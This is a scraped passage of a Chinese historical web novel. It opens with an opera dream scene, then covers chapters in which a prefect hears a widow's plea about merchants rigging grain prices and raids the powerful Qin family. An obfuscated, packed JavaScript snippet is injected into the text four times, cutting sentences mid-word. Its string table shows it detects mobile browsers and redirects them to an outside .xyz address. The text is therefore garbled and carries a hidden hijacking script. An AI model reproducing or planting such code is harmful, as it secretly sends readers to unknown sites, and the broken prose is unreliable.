云鬓侧，鸳衾并，恁他个笑语盈盈。 （梦中展开绣卷，两人对坐，情意绵绵） 枕上娇憨他轻抚，唇边话软深帘影。 只道此情成眷属，鸳梦一场不愿醒。 醒也难平，梦也难凭，心字成冰。 （梦醒灯昏，旦角独坐台前） 不怨春风一度，却怜我情根深种。 原是春心动处，最怕一梦惊魂。 倘若世间错一瞬，怎堪梦中千般真？ 良辰美景春莫负！ （锣鼓慢收） 【一幕落，二幕起】 （ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16246932|178823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旦角缓步上场，执扇垂首） 金粉字，折扇题，几页残笺旧相知。 灯影昏昏檀香起，欲语还休。 欲语还休，只将相思藏袖底，灯下偷把双影比。 （轻移莲步，掩面回身） 羞也羞他眉目柔，怯也怯他笑里秋。 惧他窥破我心扉，直道是痴人梦里游。 早知情重难藏袖，欲启还休，欲启还休， 心事缀花钩，缀在春衫旧。 【丑角念白】 （丑角踱步上场，扇拍掌心，摇头叹气） 哎呀呀，小姐啊小姐！ 锦衣罗裳，书香门第，怎偏惧道一个“情”字？ 到头了，那书生病入泉扉， 教那情书化作纸钱，飘入黄泉路上！ 我说呀——世上最怕两桩事： 一个是情未出口，人两忘； 一个是话未说尽，生死两茫茫！ 可怜哪……一对璧人错配阴阳， 今生无分，来世难凭！ （旦角缓缓跪坐灯前，拾起书简） 谁教我日夜相思，不教我开口诉心事？ 情字未成，却换黄泉路深。 三年心事化尘根，一纸讣音空余恨。 肝肠寸断魂欲绝，杜鹃啼血落花灯。 （旦角缓缓起身，望向空处） 谁教我情深不语，却教他一去无归期？ 梦里花灯千里，醒来空余旧题。 浮生一梦终虚妄，幽思绕梁不成诗。 欲问浮生几许，灯下相逢未语，错把今生认！ 恨，恨，恨。 （锣鼓收尾） 一声锣响落下，帷幕缓缓垂下，戏终。 场下众人先是一静，旋即掌声雷动、叫好连连，如潮水般此起彼伏，将戏文最后那一缕幽思层层掩去。 季凌也猛然回神。 他站在原地，仿佛才从那梦里绣榻前挣脱出来，一时间还有些恍惚。戏落了，周围人已纷纷起身，交谈、寒暄，窸窸窣窣的衣袂摩挲声与人语喧哗一时间一同涌动。 人潮在动了。 他下意识抬头，眼神搜寻那处最醒目的位置——她仍坐在那里。绯色官袍的身影在人群中显得格外沉静，她微微颔首，似在向人拱手致意，随后便站起了身。 一群人簇拥上来。 他想要上前一步，却被身侧人流一冲，只得偏身避让，再抬眼，已离她更近。 她与他之间，不过数尺之遥。 他张了张嘴，想要唤她名字，却在千钧一发间又迟疑了。使得那声音生生卡在了喉咙里，还没落地前便被喧哗湮没。 下一瞬，众人缓步簇拥着她转身而去。 她的背影沉静而坚定，未曾回头。人潮将她缓缓带远，却层层叠叠地将他隔在原地。 季凌也怔怔站着，仿佛整座戏园只剩下他一人。 ——他应该开口的。 ——竟还是错过了。 一股莫名的悔意涌上心头。 就在这悔意最盛的一刻，耳畔忽起风声，夜色骤然一凉，他心头一跳—— 睁眼。 帐中是深夜，孤灯未灭。帘外下起了夜雨。水滴自檐角落下，敲在青石地上，滴答作响。 他枕着手臂，久久未动。 只觉得心口，隐隐作痛。 50. 红黄牌价 渌州一场水灾，起时人心惶惶，众人皆言渌州难保，必定又是一年遍地饿殍。却谁也没能想到，今朝竟政吏肃清，赈务得法。 粥棚立、义仓开，山上猪芋成炊，山下工役得米，灾民得食得衣，困户得以自立。 就连昔日无人问津的低洼小村，如今也账册造至户口，山道上也多了吏役巡察，妇孺敢夜行，商旅敢过路。 人心渐稳，地方有序。 朝中虽有奏折弹劾瞿宝砚，然圣上一句：“赈灾有功，肃纪得法，此功堪嘉”便使得满朝哑然，再无人敢置喙半句。 温咏初则官诰已除，秋后问斩，尘埃落定。 霎时，渌州的那些胥吏皆是如立危墙，惟恐成为下一个“温咏初”。俱是一夜变了性情，开始夹着尾巴埋头办事，谨言慎行。皆明白一句话：渌州变天了。 一时间，全州上下吏治收敛，文书清整，不敢再有虚报苟且之风。 百姓皆道：今岁苦，却有个“瞿知州”撑起这一州天！ · 七月末了，暑气犹盛。 山脚林风微动，一行车马自南道归途，在长道上静静延展，马蹄踏尘，车帘微曳，一派肃穆。 瞿宝砚坐在车中正闭目养神，身子随着马车微晃。也是被宝桃儿劝了许久，这才放下手里的公文静息片刻。 官道两旁夏草已高，风过簌簌哗然。 忽地，一抹白影自草丛中猛然扑出，一袭布满泥尘的孝衣，双膝“砰”地一声磕在地上，竟生生跪停了车队前头那匹马！ 一声惨厉的惊呼破空而起—— “——大人救命！！” 马匹受惊嘶鸣，马前护卫连忙勒缰压住，前队顿时一阵骚动。 那妇人面容枯瘦，头发散乱，整个人几近伏地，脸贴尘土，浑身颤抖着，却竭力高声喊道： “求大人！为民妇一家做主！还民妇一家七口冤魂一个公道——！” 本也在车内假寐的宝桃儿被这突如其来的哭喊吓了一跳，忙伸手撩起帘子，探出头来张望，惊问道：“怎么回事？” 那妇人听得响动，猛地仰头一望，瞧见马车内露出一角官靴与袍带，仿佛看到天光般，登时双目赤红，不管不顾地朝车前爬了过来，边爬边重重磕头。 一下，两下，额头撞得尘血飞扬，语声悲愤交加： “求大人为民妇做主！听闻知州大人执法如山、秉公断案。倘若今日连大人也不理，那民妇便一头撞死在这车前！” “放肆！堂堂官车座前，岂容你这泼妇撒野？拦阻车驾，当心吃罪！” 官差声色俱厉，就要上前赶人，却在此时，车内传出一道清冷威严的声音，截断众人怒斥： “——莫要误伤百姓，扶她上车来。” 车前的护卫一时愣住，面面相觑，不敢轻举妄动——这突如其来的山野村妇，来历不明，又情绪癫狂，若是伤了大人—— 话音落下，只见车帘一动，宝桃儿已经跃下车来。她走上前亲自将那妇人从地上扶起，拂去她面上的尘土，轻声道：“你是要见我们大人对吗？别跪着了，我带你上去说。” 妇人一听，眼泪夺眶而出，嘴唇颤了又颤，竟是半晌说不出话来。便任由宝桃儿拉着她的手，颤巍巍地一步步走向车阶。 车队再次启程缓缓上路。 车帘半卷，几缕光透入帘内，映得那妇人泪痕纵横的枯黄面庞清晰可见。 她进得车中，尚未来得及坐稳，便一个重叩跪倒在地，声音带哭，带恨，带着生裂肺腑之痛： “民妇赵氏，名叫赵喜，原是丰安县人，实在是迫不得已才拦了大人车驾——求大人还我一家七口一个公道！” 她这一句哭腔如刀，听得宝桃儿忍不住伸手抚了抚她的肩膀：“你且慢些说，大人都听着呢，都出了什么事？” 那赵氏扶着膝，强自压住哽咽，话语却如山洪决堤： “民妇一家七口，原以种田为生。可前年遭了灾，便想着把田地都卖了改行，做收粮走卒的营生，多贴补一口饭吃。我们这买卖不上台面，也没什么本钱，就只将各村各地的粮收拢来，一担担挑进城里卖给米铺，一斤挣它几文，好歹也是活命的法子。” “前月水灾一来，我们家那几担米眼看要烂了，本想着恐怕砸手里了，哪晓得这时候，州府贴了榜，说粮食买卖一律按官价，不得压价哄抬……那时我们一家还说：州官好，总算给咱们穷人家有个盼头。” “可谁晓得——到了当铺、米摊、粮行，一家比一家黑心！都不认官府的价格，翻出一纸‘红牌价’，说收粮只能按这个来，一石整整少了五成银子！” 她猛地一抬头，眼中泪痕交织，满是血丝：“我们不肯卖，那些人就说：‘你不卖，有的是人卖。要是敢报官吆喝，看你的腿还在不在！’” “我丈夫气不过，去跟他们讲理，可哪里讲得了理？他要去报官，谁知再回来时，腿已经被人打断了——就在那米铺门口躺了一宿，满腿是血，是他一手一脚爬回来的！” “叔侄两个见我丈夫那模样，当时就气红了眼，非去寻官报案不可，可哪晓得，半路上竟说是淹死了——他们都是从小泡水里长大的，水性好得很，怎可能好端端地说溺就溺？！我去寻尸首时，那一大一小就浮在堤下……脸上还有瘀痕哪！这哪是淹死的，分明就是被人害死的！” 说到这里，赵喜早已泣不成声。宝桃儿也跟着红了眼圈，紧紧皱着眉，眼眶里泪光闪动。 赵喜紧紧攥住手指，指节在马车上磕得发青，声音发颤，却像是要把心里的血都倒出来：“我那嫂嫂，本就身子弱，听丈夫儿子一下子都没了，当场就昏了过去……躺在床上再没起来。我不敢耽搁，赶紧出去给她抓药，可是等我回来时——家里已经起了火，烧得只剩下一面黑土墙……” 她说到这，声音陡然一哽，整个人像是一下子垮了下去： “我的两个娃娃啊……一个才七岁，一个才五岁，乖得很，整天守在炕头照看他们爹，我出门前还问我什么时候回来，叫我小心着些……结果，全都没了，没了，全都烧没了——” 她猛地捶了一下自己的膝，泪如雨下，声音嘶哑：“连一块布、一根骨头都找不到啊！” 车厢中死一般寂静着，只余哭声低低回荡。 赵喜哭得喉咙沙哑，声音嘶裂一般，却仍咬牙撑着继续说：“我那时候……真想一死了之，随他们一道去了……可我不能死！”她抬起头，眼神发红，满是恨与不甘：“我若也死了，这世上没人知道我们一家是怎么被害死的，没人替我们说一句话！也没人来讨这个公道！” 她深吸了一口气，强压着镇定继续道： “大人，今天拦了您的车，是我的不是，我认……有罪您罚。可我也是迫不得已才出此下策，那些人早就盯上我们了，只要我去了衙门，怕是还没进门就连命都没了。我听说您出城巡查便在这道上守着，等了您十几天……我就赌一把命，赌您真是个为百姓做主的好官！” 她猛地跪下，声音几近崩溃： “我求您了大人！我这条命，您要便拿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16260026|178823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去！剐我、杀我都没关系，要我做什么都行……我只求一个王法公道！” “叫那些作恶的黑心人恶有恶报！还我一家人一个公道……他们不能就这么不明不白地冤死了大人！” “我求您了——” 说罢，她又要往地上重重叩首，宝桃儿连忙伸手扶住她，哽声道：“赵娘子不必担心，你说得对，你要活着，如今我们大人在，冤屈不会没人理，天理也不会一直瞎着眼的……那些恶人一定会恶有恶报！” 赵氏哭得浑身颤抖，握紧了宝桃儿的手，仿佛那就是她活下去的最后一根稻草。 瞿宝砚静坐不语，静静听赵喜哭诉良久，待她说完，便见那昔日的温和神色尽敛，眉眼间已是一层森然寒意。 她摊开一页信纸，笔锋如铁，不多时便写完，随即道： “停车。” 车辕一震，辘辘声顿止。 她将那封素白信纸折起，唤道：“秦遇，方奎。” 两人从马后策马而来，快步至车窗前。 帘内伸出一只素手，将信缓缓递出。 马车中，瞿宝砚语气低沉，却不容置疑：“按此行事，不得声张。三日之内，务有所成。” 两人对视一眼，皆是神情一凛，躬身应诺，便立即接过信翻身上马，拨马扬鞭，转瞬远去。 车内，赵喜仍伏地而泣，宝桃儿半跪在旁，也哭红了眼眶，轻声安慰着她。 瞿宝砚起身，将赵喜从地上扶起。她语声低缓，却沉稳有力：“起来吧，赵娘子。” 赵喜满脸泪痕，缓缓抬头，却在抬眼的那一刻微微怔住了。 她听那声音，只当来人是个冷峻威严的官。谁知抬眼望去，却见一张清俊面孔，轮廓秀朗，眼神澄明。一身宝蓝官服，不怒自威，却不是她惯常印象里的那种官——无横眉冷目的威压，也无高高在上的气派。反倒像山一样稳，也像光一样静。 她一下子竟想不到什么词来形容。 好像是天上落下来的神仙——不，哪怕是神仙，也未必有这般叫人安心的气度。 她心头倏地一紧，泪未止住，呼吸却轻了几分，只觉自己这粗衣短褂、泥脚灰手，像突然站在了一道光前，一时局促不安起来。 那人却已伸手握住她的手掌，指间温热，语气清亮温和：“赵娘子这份胆气，并非人人都做得到，着实令人敬佩。你放心，你的背后有州府，有律法，你一家七口之冤，既被本官听见，便绝不会埋入土里，也无人能叫你白受这场横祸。” 她顿了顿，语气转冷，眸中亮光一沉： “是我这些时日走开了身，叫人以为州中无人问政，得以趁虚妄为。此事，我有失察。” “那些披着商皮行匪盗之实、仗势欺人的恶行——本官绝不姑息。” 赵氏张了张嘴，泪水再次夺眶而出，想言谢却一句话也说不出，只能连连点头。 瞿宝砚轻拍她手背，语声温缓：“你便先在知州府里暂住，几日之后，待本官查明真相，理清此案，自会还你一家一个清白与公道。” 宝桃儿也在一旁柔声道：“赵娘子放心，咱们大人说话，从来都是顶天立地的重。” 赵氏望着眼前之人，眼神恍惚。 她本以为自己注定只能是等死的命，这些日像那跌进水里的破瓦片，四下乱撞，浮不上来，也沉不下去。 而此时此刻，有什么东西稳稳托住了她，叫她忽然有了着落，有了岸。 她喉头一哽，终于颤声低喃：“谢大人……谢大人……！” 51. 红黄牌价2 渌州东街的大小米行门前，午后人流渐稀。 暑气尚盛，掌柜的徐和正倚在门前纳凉，一边摇着蒲扇，一边听旁边伙计低声念当日入账。 忽有几人踏步入店，为首一人肤色黝黑，着粗布短褂，肩头一条灰巾，腋下还夹着黄纸包裹的什么东西，眼下满是长途跑路的风霜。 “掌柜的，”来人咧嘴一笑，露出一口白牙，“听说你家收粮价高，咱这儿一船陈米，还新得很，运过来也不远，就码头那头船上。想来投个好价。” 徐和抬眼瞧他一眼，眸中滑过一丝警觉，笑容不动：“外地来的？” “嘿，算不得外地，”那人打蛇随棍上，“俺老婆是渌州人，这回她娘家来信，说这头儿米价高，官府都贴了榜，保底收价不压粮。我才折了个回来，不是个贩子，跑路赚个幸苦钱，想试试价。” 徐和闻言，眼角微挑，似笑非笑问：“你有多少？” 那人竖起三根手指：“三十石，昨夜刚卸在码头边，今早人手一清点，都是干净的好米。” “三十石？”徐和登时坐直了身，眼里精光一闪而过，他咳了一声，“那可不算少。你也算走了运，这时候人家求都求不来。我们大掌柜交代得紧，要多收、价上也好说。” “一石一百二——三十石，一共三千六百文。这样吧，我的人先去码头上验个货，货没问题，明儿一早付你三成定银，交完货再付你余下的七成。” 那人听罢却咧了咧嘴：“这价格……也太低了些吧？” 徐和皱眉：“低？你自己去问问，全渌州的米行还有谁收得比我高？” 那人嘶了一声：“可我下船时看见那贴在码头石碑上的告示，说米一石按两百四十文收，低了要罚。这——” 话未说完，徐和猛地一挥手，打断他：“别跟我提什么告示。你既是做这一行的，总该懂点规矩——那是贴给谁看的？是贴给你我看的吗？”他顿了顿，目中带了几分不耐，“你要真想出货，我这已经是全城最高价，再高没人理会你，你不卖，有人抢着卖。” 他话音一落，店中几名伙计已悄悄合围门口，像是随时预防那人耍诈。 而那人却不慌不忙，咧嘴一笑：“哎哎，是我不懂规矩了，好说好说，可做生意总得货比三家不是嘛，我再寻几家比比去，若真是你这儿价最好，再回来。” 不过一炷香的工夫，那人又折返回来，一进门便高声招呼：“哎呀，老兄，我想了想，还是你这儿合适！” 徐和刚好端起茶盏，闻言一愣，旋即笑了：“哟，转一圈回来，还不是咱这儿实在。” “哪家不是瞧着三十石就眼红？”那人一屁股在门边条凳上一坐，“可说到底都拿不出银子来，只会嘴上画饼，我又赶着要银子给家里换点急药，这一圈转下来，还是你徐掌柜最实诚，干脆脱手了。” 徐和笑得见牙不见眼，口中却仍是客气：“这就对了嘛，咱做生意讲究个缘分。” 他转头吩咐伙计：“叫老周快去码头验货，叫人套好板车，收货之后，一石不少，照价付款。” 说罢，又翻出一纸契约文书，提笔蘸墨，“来吧，先写个字押清楚，也好交差。” 那人咧嘴一笑，抖落衣袖，提笔在“粮米收购登记”上写下名姓、货数、来处与价格，末了又按了个手印。那鲜红一印落下时，徐和眼里那点疑虑也终于散了大半。 “好，走得快、来得早的有福。”他将契文一折，递给那人一份，又笑道，“你等着银子，等货验完就兑头款，少不了你的。” 那人应了一声，转身出了门，笑得一脸朴实无害。才过巷口，便有一骑轻马无声跟上，一盏茶的工夫不到，那张纸契便出现在了渌州州署后堂案前。 · 夜深，知州府内灯火犹亮。 瞿宝砚书房桌案上摊着厚厚一叠纸契文书，几乎占满了整张长案。 每一纸文契，皆有渌州大小粮商的字号印章，像是生意较大的“瑞丰当”，“恒利米行”，还有“德昌”“源记”“广和”等小米行，零零总总，不下数十家。 “回大人。”秦遇拱手，开口禀道：“这三日属下们依大人吩咐，遣人化作米贩，走了渌州十几家米行，所得纸契俱在此处。所见所闻大致可分为三类。” “一者，有些米行因所遣之人为外地客商，不在渌州籍，自以为事后难查，不疑有诈，便以实价签了文契。二者则较为谨慎，明面上成交一个价，纸面文契却另写一价，意图混淆真伪，明显是为了规避查验。” “第三类，则是秦家记下各铺，防范尤为周密，行事最谨慎。铺中掌柜一般不轻信，必遣人尾随盯梢，待亲眼看见船开人走，方才收米签契，不留一丝痕迹。幸亏按照大人吩咐，以真船配真货，先送三石试水。得价后成交大票，那群人才露出了尾巴。” 方奎也接着道：“不仅如此，秦家在背地里操纵米价，手段尤为隐晦。其所记名下的米行虽出价看似最高，实则只收净米，不收杂粮，又故意限量收购，使得余粮主被迫低价转售给其他黄牌米铺。” “如此一来，米价便被人为分层压低，渌州百姓几无还价之力。” “他们还私下警告过渌州其余米行，令其不得擅自抬价，只许按他们定下的下限收购。如此一来，其余米行为避纷争，恐惧牵连，多半甘愿低价收粮，再由秦家稍加价差回收，尽数囤入自家仓中。” “而像赵娘子家这般，受盘剥欺压却无处申冤的百姓，在渌州，不止一户。” 秦遇与方奎对视一眼，皆蹙眉不语。 终是方奎开口道：“大人，这秦家未免也太无法无天了。他们一手垄断渌州米粮——究竟是意欲何为？” 室内静了一瞬。 瞿宝砚坐在桌前，看着这一张张纸契，拇指轻抚纸角： “灾后之初，仓廪尚足，百姓靠官仓赈济得以过活，一时之间，市面上无人大量买米。可再过一旬，赈期将尽，各县粮仓也要清空，朝廷若无后援之粮，百姓唯有自筹——届时，米市之价，便由这些人说了算。” 她抬眸，继续道：“他们眼下低价收粮，是在等仓空粮紧，市价腾贵之时，好四倍五倍地抬价出手。笃定百姓被困，官府又无力支援，到时买也不是，不买也不是。” “既掏空了百姓的钱袋，又可反唇相讥，说官府只管赈灾头几日，余后便不闻不问——届时百姓怨谁？他们未必知道背后的商贾算计，只看见粮价飞涨、官府无所作为。” “他们这是赌渌州缺粮已成定局，也赌我不敢动他们。” 她将一纸米契折起，轻轻敲着案面。 方奎垂首，低声问：“那大人之意是——” 瞿宝砚抬眼，语声淡然，语气却如刀出鞘： “秦家的手，伸得太长了。” 语气微顿：“——该斩了。” · 淅淅沥沥的夜雨不知几更天落下，打在砖瓦石阶上，溅起点点水珠。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16263901|178823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 渌州空旷的街巷沉在一片雨声中，黑瓦灰墙之间，不知何处突现一列兵卒，自城南而来，披甲执戈，一路向东。 那军靴踩过积水的石板路，激起水浪如蛇般四散。一行人迅速绕过主街，在小巷间分路而行，顷刻便将几处米铺团团围住。 “开门！”一名官差上前重重敲响铺门，“官府夜查！掌柜的出来！” 铺中人都在后院歇下了，听得门外声响猛然惊起，连忙披衣赶来。门栓一动，门才半开，十余名衙役已举灯而入，雨水随着脚步一起泼进了铺中堂屋。 披着褂子的掌柜满面惊惶：“几位大人，这……这是做什么？” 为首官差冷声问道：“账房先生何在？今晚谁值班？” 屋内几个伙计被惊醒，面面相觑，不敢答话。 “本官再问一遍——账房何人，立刻站出来。” 话音一落，一名中年文士模样之人从后屋踉跄而出，战战兢兢拱手：“在下是账房，平日记账管账，今夜也轮值在铺——” “好。”那官差点点头，“将掌柜、账房、记账小工一并带走，其余人不许擅动，米仓账册皆由官府接管。” 话未落音，后头早有几名兵卒入了后院，提灯照库。仓房大锁“哐啷”一响被撬开，黑漆漆的米囤在雨夜灯火下显出潮湿光泽，一袋袋封印仍在，兵卒验视之后，立即封口贴榜。 前堂之中，那掌柜与账房全被带走，身后的衙役将数册账簿一一抬起，俱入箱封存。 这一夜，不止这一家米铺。 渌州城中，凡挂有秦家印记之商行，共十八处，全数被围查封锁。 全城兵马悄然，静如落雨——而真正的风暴，才刚刚开始。 秦府在渌州城内的宅第坐地深广，屋瓴巍峨。 夜色沉沉，偌大的府中静得只听得见檐下滴水声。 正是该歇息的时辰，忽地，后宅一声呼喊刺破夜空—— “走水了——走水了！！” 一簇火光隐隐在后宅亮起。 小厮惊惶高叫：“后院失火啦！快来人哪，救火——”紧接着便是杂乱的脚步声。 这吵动声直接惊醒了半府人。 秦曼瑛披衣而出，一路行至回廊，刚至转角，便与迎面而来的秦致棠撞个正着。 “怎么回事？好端端的后院怎会走水？”她蹙着眉，目光微冷。 秦致棠看向后院方向：“我去看看。” 话音刚落，侧廊另一头又有小厮惊慌失措地冲来，踉跄喊道：“不好了不好了！二小姐，三少爷，府外来了许多官兵！已经把咱们府围住了！” “什么？”秦曼瑛脸色骤变。 夜色下，秦府外一道道火把映红雨幕，将门楣上的“秦府”两字照得仿若在夜雨中燃烧起来。 “吱呀——” 府门缓缓打开。 秦曼瑛一手按着身上的披风，身后跟着提灯的侍女，她眉目冷艳，目光扫过门前众兵，又落在那一排排火把之上，语气冰冷： “怎么？渌州衙门已经无法无天到如此地步，这般大阵仗，竟半夜举火逼门，是要私闯民宅吗？” 话音刚落，前方官兵默然侧身让开一线。 一柄黑骨油纸伞被稳稳举着，行至近前，那伞面轻轻一偏，露出那伞下一抹宝蓝色—— 瞿宝砚步履不疾，雨水打湿了她袍角，却丝毫不减那不动如山的气势。伞下灯火一晃，映出她清冷分明的面庞。 52. 浮线归根 秦曼瑛见到来人，眼底一沉，旋即却扬了扬唇角，轻笑一声，语带不屑： “瞿大人果然威风，我这渌州几十年来，也不见哪位父母官深夜带兵登门的。” 她缓缓上前一步，豆蔻红的指甲轻轻抚上下颌，语调轻慢：“劝你一句——别敬酒不吃吃罚酒，这渌州……还轮不到你说了算。” “住口——” 秦曼瑛话音未落，却被身后一声沉喝打断。 雨中人影晃动，秦致远扶着秦老爷缓步而来。 秦老爷行至门前，向瞿宝砚略一拱手，语气沉稳道：“大人深夜临门，寒舍迎接仓皇，实属失礼。不过，敢问大人，这是——所为何事？” 瞿宝砚神情平静，语声从容，却透着一股不容置喙：“深夜造访，确有叨扰。不过，近来有些事情着实令本官困惑，便想与秦府诸位请教一二。” “车驾已备好，还请诸位移步知州衙门一叙。” 她说着侧身让开，露出身后早已备好的轿子，轿旁兵士肃立，一看便知不是寻常迎客之礼。 秦老爷听罢，眉眼沉静，回首看了秦致远与秦曼瑛一眼。兄妹二人眼神交错，皆沉默不语。 片刻后，秦老爷复又拱手，语气温和笑了笑：“既是大人亲自来请，秦某自当奉陪。” 一旁秦曼瑛见父亲要抬步上轿，眼中怒意不可抑制地浮现，正欲开口，唇刚动便被秦老爷一个眼神制止。 她咬了咬牙，终是将那口气强咽回去，垂目跟了上去。 瞿宝砚忽而又道：“还有一件事。” 她侧目看向府内：“救火——” 话音一落，便见后方数名壮汉肩抬水桶，飞快冲入秦府侧门，直直向后院奔去。 秦曼瑛脚步一顿，想要制止却已经来不及，停住脚步直盯着瞿宝砚，怒声喝道： “你放肆！” · 秦致棠披着黑色外袍脚步稳快地穿过游廊，直往后院奔去。夜风翻卷衣角，一路上仆从见了，皆匆忙闪避。还未及后院，却见远处上空，浓烟滚滚已然淡去，火光也在渐渐熄息。 他刚至院角，便见一名伙计跌跌撞撞地从小路奔来，满脸焦急，汗湿了鬓角，气喘吁吁地拦住去路。 “三、三少爷……”伙计弯腰抱拳，低声禀报，“那火……不是咱府里的。” “什么？”秦致棠骤然止步，眉头微蹙，“讲清楚。” 伙计咽了口唾沫，急忙抬手指向西南角的方向：“是……是后墙外烧起来的，离这儿不过十几步。只烧了几丛野草和一片空地，离府里还有一堵高墙拦着，火……火进不来。” 话音落地，秦致棠眼神陡然一沉，整个人瞬间警觉：“不好——” 他转身便走，步伐陡快，语气也压得更低更急：“账房的伙计呢？今夜谁值班？” 可话音未落，刚踏出两步，前方廊角便缓缓现出一道身影拦住去路。 秦遇早候在这回廊之下，见到来人，朝前微微一拱手：“秦三公子，我们大人请您移步衙门一叙。” 秦致棠神色不变，顿了顿，随即语气不动声色：“夜里风冷，我先回屋添件衣裳，稍后便来。” 秦遇却仍立在原地半步也不让，面上带笑，语声温和： “那更该走得快些——府外备下的轿子里早被火盆烧热过，就等您上轿。大人也已等候多时。公子若是耽搁了，倒显得咱们不够礼数。请——” 秦致棠垂眸拂了拂袖角，也听不出喜怒：“原来如此，倒是周到。” 他语锋微顿，抬眼与秦遇对视一瞬，便转身举步，走出回廊。 那身影从火光与雨丝中穿过，落在夜色里。 · 知州府衙。 从秦家各铺面带回的十余名账房先生，此刻在渌州府衙的堂前层层排开，竟占满了堂前空地。每人面前置一方小桌，桌上堆着账册，摊开如山。 在这空阔肃穆的大堂之中，几十把算盘一齐拨得“噼啪”作响，竟成了一道古怪的和声，又仿佛一串串紧箍，拨得这些人心头发紧。 他们被官差连夜唤来，本以为是突遭盘库查账，或是被押至堂前审讯。谁知，来了之后既不上刑，也无喝问，只让他们一一对账清数，饭茶照供，神色平常，倒真似只是来清账的。 可哪有这么个清账的架势？ 堂上主位的那位知州大人端坐不语，神色整肃，静静望着堂下众人。 而梁柱四角，衙役林立，皆是神情森然，手按腰刀。衣襟间露出冷光森森的刀鞘边角，虽无人言语，却压得人透不过气来。 众人心中皆是疑窦丛生，却无人敢过问半句。有的手指微颤，一个不小心算盘珠拨错，又赶忙重来。 而府衙另一隅，静室分设。 秦老爷被单独安置在一间客房内，屋中案几、茶点、温壶，一应俱全，窗明几净。衙役也并无怠慢，礼数周到，惟有门外守卫森然，不容擅出。 而秦家三兄妹则被安置在另一间屋子里。 秦曼瑛终是按捺不住，霍然起身，抬手一拍几案，玉镯磕在桌面砸出声来，怒道：“这个姓瞿的到底想做什么？！若是有罪要问、有账要算，也给个痛快！将我们关在这儿，不说原由，也不发一言，莫不是想羞辱我秦家不成？！” 她眉目含霜，声音清亮，骂得满室都是怒意。 秦致远倚坐在一旁，依旧沉默，却也不禁拧起了眉，未发一语。 秦致棠仍神色如常，低头慢慢抿了一口冷茶，只淡淡道：“如今你吵是无益，静观其变吧。” 秦曼瑛收了怒气，转头望向他：“你还等得下去？后院起火肯定没那么简单，这火说不定就是这位知州大人亲自放的，她究竟玩得什么花招——” 秦致棠放下茶盏，目光微沉，道：“若真是要做局，我们吵嚷，只会让自己失了分寸。总不会一直关着。” “最多，一日。” 语落，秦曼瑛和秦致远相视一眼，终是无言。但得了这句话，好歹心里有了着落，秦曼瑛又缓缓坐回原位，袖中的指节却仍绷紧未松。 屋中一时间陷入沉寂，只余窗外雨声沙沙。 · 书房内，瞿宝砚披衣坐在案前，案上摊着厚厚一叠账册。 从昨夜至今，十余名账房先生轮番对账，算盘声响了一整夜，此刻或躺或趴昏沉睡去，堂中也总算归于沉寂。 但一群人通宵达旦却也只核清了八成账目，送来书房的账册装了整整两只朱漆木箱，还有案上需几人合抱垒起的几叠。 瞿宝砚指间缓缓翻过最后一册，又轻轻合上。 不论账册上的数字如何令人惊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16284159|178823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骇，她的神情仍是沉静，眼底无一丝波澜。 这世上的事，有些是早该知道的，有些是已经知道，纸上不过坐实而已。 账中账外归根一端，说的无外乎一件事。 贪腐。 贪腐，古今一途。朝代更迭，江山易主，换得了姓氏却换不了人心，杀得尽臣子却杀不尽人欲。 多少王朝自诩“清君侧”，多少义军高呼“斩奸除弊”，最终也不过是旧藤斩断，新枝抽生。到头来，只是藤蔓换了个方向，继续生长罢了。 新政初起之时，尚有清风肃纪之志，一旦根基稳固，藤蔓便悄然再生，盘根错节，蔓延四野。放眼再望，又是权贵如林勾结如网，彼此盘绕成势，势成之后，不容旁人再轻动其枝叶半分。 久而久之，最可怕的不是有人贪。而是所有人都觉得，这些贪，理所当然。 红黄牌价的粮案只不过是个引子，真正的问题一直都是渌州年年亏空的赋税黑洞，和背后根深蒂固的贪腐之网。 也是陛下将她派来渌州的真正用意。 